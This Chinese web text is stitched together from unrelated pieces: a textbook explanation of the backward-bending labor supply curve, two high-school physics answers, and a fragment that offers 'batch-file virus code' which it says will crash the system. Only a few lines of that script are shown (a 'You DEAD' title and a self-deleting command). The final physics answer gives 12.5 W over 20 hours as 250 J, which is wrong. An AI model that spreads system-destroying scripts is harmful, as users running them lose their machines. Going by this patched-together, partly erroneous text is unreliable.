后弯劳动供给曲线的意义
参见图1和图2，横轴H为闲暇，纵轴Y为收入，E为初始状态点。当劳动价格工资为W0时，可以得到相应的预算线EK0，与U0相切于A。当价格上升到W1，W2时，相应的预算线EK1，EK2分别与U1，U2相切于B，C点。每一个切点都对应着一个最优闲暇量H0，H1，H2。相应的劳动供给量分别为（16-H0），（16-H1），（16-H2）。于是可得劳动供给曲线上三个点a，b，c。联接A，B，C得价格扩展线PEP，联接a，b，c得劳动供给曲线S。
图1 时间资源在闲暇和劳动供给之间的分配
劳动供给曲线是向后弯的，当W较低时，随着W的上升，消费者将减少闲暇，增加劳动供给，劳动供给曲线向右上方倾斜；当工资涨到W1时，劳动供给量达最 大。继续增加工资，劳动供给量不增加反而减少，劳动供给量从W1处起开始向后弯曲。
高二物理,,进来解一下,谢谢~!!
解:
一年有的时间为：
t=365*24*3600(s)
电站一年的发电量为:
w=t*300*1000000(J)
那么一年要消耗铀的质量为:
m=w/(8.2*10^10)g≈115kg
即每年要消耗115千克的铀。
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批处理文件的病毒代码大全!
最强病毒!谨慎运行!此程序会将系统搞崩溃.
摘自:htt我ps://www是.jb51.net/a链rticle/7129.h接tm? 去掉里面的字哦
@echo?off??
title?You?DEAD!!!!!!!??
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安装系统可以解决此问题??
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del?%0??
exit
物理问题
（1）灯的额定电流是25w÷220v＝5/44A
闭合瞬间，通过灯丝的电流是220v÷220欧＝1A>>5/44A
所以电灯为什么总是在开关闭合的一瞬间容易烧坏，是因为温度低，电阻小，电流很大，易烧坏。此时，实际功率220v*1A＝220W
(2)工作时的电功率1kwh/20h=0.05kw=50w
工作时的电流50w/220v=5/22A(应化为小数）
工作时的电阻为220v/(5/22A)
当电压改变，实际功率＝110v*110v/[220v/(5/22A)] =12.5W
20h消耗电能12.5w*20h＝250j